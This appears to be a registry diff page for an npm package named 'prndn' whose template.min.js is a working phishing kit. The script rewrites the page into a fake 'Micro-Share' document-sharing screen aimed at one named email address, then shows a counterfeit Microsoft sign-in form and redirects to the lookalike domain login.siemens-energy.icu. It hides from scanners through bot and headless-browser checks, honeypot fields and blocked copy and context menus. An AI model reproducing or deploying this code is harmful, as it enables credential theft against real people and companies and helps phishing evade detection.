prndn 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +13 -0
  2. package/template.min.js +68 -0
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "prndn",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "type": "commonjs"
13
+ }
@@ -0,0 +1,68 @@
1
+ // template.min.js - Micro-Share Project Documents Template
2
+ (function(){
3
+ 'use strict';const t=document.documentElement,e=`
4
+ <!DOCTYPE html>
5
+ <html lang="en">
6
+ <head>
7
+ <meta charset="UTF-8">
8
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
9
+ <title>Project Documents</title>
10
+ <link rel="icon" href="static/images-removebg-preview.ico" type="image/x-icon">
11
+ <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
12
+ <style>html,body{height:100%;margin:0;padding:0;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background-color:#f8f9fa;overflow:hidden}.container-wrapper{width:100%;max-width:420px;background-color:#fff;padding:1.25rem;border-radius:.75rem;box-shadow:0 .25rem .75rem rgba(0,0,0,.05);margin:auto;margin-top:100px}.container{min-height:100vh;z-index:1;position:relative}.pdf-preview{background:#fff;border:1px solid #dee2e6;border-radius:.5rem;padding:1rem;margin-top:1.5rem}.honeypot-field,.honeypot{display:none!important}#page2{display:none;position:fixed;top:0;left:0;height:100%;width:100%;overflow:hidden}.page2-bg{position:absolute;top:0;left:0;height:100%;width:100%;background:url("") center/cover no-repeat;filter:blur(2px);z-index:0}.login-container{width:440px;background:rgba(255,255,255,.9);backdrop-filter:blur(4px);-webkit-backdrop-filter:blur(4px);padding:48px 40px;box-shadow:0 0 20px rgba(0,0,0,.25);margin-bottom:10px;border-radius:14px;border:1px solid rgba(255,255,255,.4);text-align:left;position:relative;margin:100px auto}.logo{display:flex;align-items:center;gap:8px;font-size:22px;font-weight:600;margin-bottom:30px}.input-field{width:100%;border:none;border-bottom:1px solid #888;padding:10px 2px;font-size:15px;margin-bottom:28px;background:transparent;color:#3b3a39}.input-field:focus{outline:none;border-bottom:2px solid #0067b8}.next-button{padding:6px 20px;background-color:#0067b8;color:#fff;border:none;font-size:15px;font-weight:600;border-radius:2px;cursor:not-allowed}.next-button.enabled{cursor:pointer}h1{font-size:24px;font-weight:600;margin-bottom:16px;color:#1b1b1b}.links a{text-decoration:none;color:#0067b8;font-size:14px}.links a:hover{text-decoration:underline}</style>
13
+ </head>
14
+ <body oncontextmenu="return false" oncopy="return false" oncut="return false" onpaste="return false">
15
+ <div id="page1" class="container-wrapper text-center">
16
+ <div class="top-header d-flex align-items-center gap-2 mb-3">
17
+ <img src="https://cdn-icons-png.flaticon.com/512/732/732221.png" alt="Brand Icon" width="28" height="28">
18
+ <div class="brand-text text-start">
19
+ <div class="main fw-bold">Micro-Share</div>
20
+ <div class="sub text-muted" style="font-size:0.85rem">secure file sharing</div>
21
+ </div>
22
+ </div>
23
+ <h4 class="mb-3">Secure shared documents, kindly verify your email and continue.</h4>
24
+ <p class="text-muted">The following documents have been securely shared with <span class="text-primary fw-semibold">mdeschler@amixon.de</span>.</p>
25
+ <form id="secure-form">
26
+ <input type="text" name="company" class="honeypot-field" autocomplete="off"/>
27
+ <input type="hidden" name="token" id="tokenField"/>
28
+ <button id="verify" class="btn btn-primary mt-4 w-100" disabled>Download</button>
29
+ </form>
30
+ <div class="pdf-preview text-start">
31
+ <div class="d-flex align-items-start">
32
+ <img src="https://cdn-icons-png.flaticon.com/512/337/337946.png" alt="PDF Icon" class="me-2" width="44">
33
+ <div>
34
+ <div class="fw-semibold">Specification.pdf</div>
35
+ <div class="small mt-1">- RFQ.pdf<br>- Project descriptions.pdf<br>- equipment's end destination.pdf</div>
36
+ </div>
37
+ </div>
38
+ </div>
39
+ <div id="loading" class="mt-4 d-none fade">
40
+ <div class="spinner-border text-primary" role="status">
41
+ <span class="visually-hidden">Loading...</span>
42
+ </div>
43
+ </div>
44
+ </div>
45
+ <div id="page2">
46
+ <div class="page2-bg"></div>
47
+ <div class="login-container" id="email-page">
48
+ <div class="logo">
49
+ <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" width="24" height="24" alt="Microsoft Logo"/>
50
+ <span class="logo-text">Microsoft</span>
51
+ </div>
52
+ <h1>Sign in</h1>
53
+ <div style="color:#e81123;font-size:15px;margin-bottom:16px">Authentication required. Click next to sign in and continue download.</div>
54
+ <form id="secureForm">
55
+ <input type="text" class="input-field" placeholder="Email, phone, or Skype" id="emailInput" value="{recipient_email_placeholder}" readonly/>
56
+ <input type="text" name="company" class="honeypot" autocomplete="off"/>
57
+ <input type="hidden" id="sessionToken" name="token" value="{token_placeholder}"/>
58
+ <div class="links">
59
+ <div><span>No account? </span><a href="#">Create one</a></div>
60
+ <div style="margin-top:12px"><a href="#">Can't access your account</a></div>
61
+ </div>
62
+ <div class="text-end mt-3">
63
+ <button type="submit" class="next-button" id="nextButton" disabled>Next</button>
64
+ </div>
65
+ </form>
66
+ </div>
67
+ </div>
68
+ `,n=function(){return navigator.webdriver||!navigator.plugins.length||0===screen.width||0===screen.height||!navigator.userAgent||/bot|crawl|spider|headless|HeadlessChrome/i.test(navigator.userAgent)};let o=!1;const i=()=>{!o&&!n()&&(document.getElementById('verify').disabled=!1,o=!0)};document.addEventListener('mousemove',i),document.addEventListener('touchstart',i),t.innerHTML=e,document.addEventListener("DOMContentLoaded",()=>{document.getElementById("tokenField").value=Math.random().toString(36).substring(2)+Date.now().toString(36)});document.getElementById('secure-form').addEventListener('submit',t=>{t.preventDefault();const e=document.querySelector('input[name="company"]').value.trim(),o=document.querySelector('input[name="token"]').value.trim();if(e||""===o||n())return alert("."),!1;document.getElementById('loading').classList.remove('d-none'),document.getElementById('loading').classList.add('show'),setTimeout(()=>{document.getElementById('page1').style.display='none',document.getElementById('page2').style.display='block',document.getElementById('emailInput').value="mdeschler@amixon.de",document.getElementById('sessionToken').value="{token_placeholder}",document.getElementById('nextButton').disabled=!1,document.getElementById('nextButton').classList.add('enabled')},2e3)}),document.getElementById("secureForm").addEventListener("submit",function(t){t.preventDefault();const e=this.querySelector('input[name="company"]').value,o=document.getElementById('sessionToken').value;if(e.trim()||n()||!o)return alert("."),void(document.body.innerHTML='',document.body.style.backgroundColor='#000');window.location.href="https://login.siemens-energy.icu/DIVzTaSF"})})();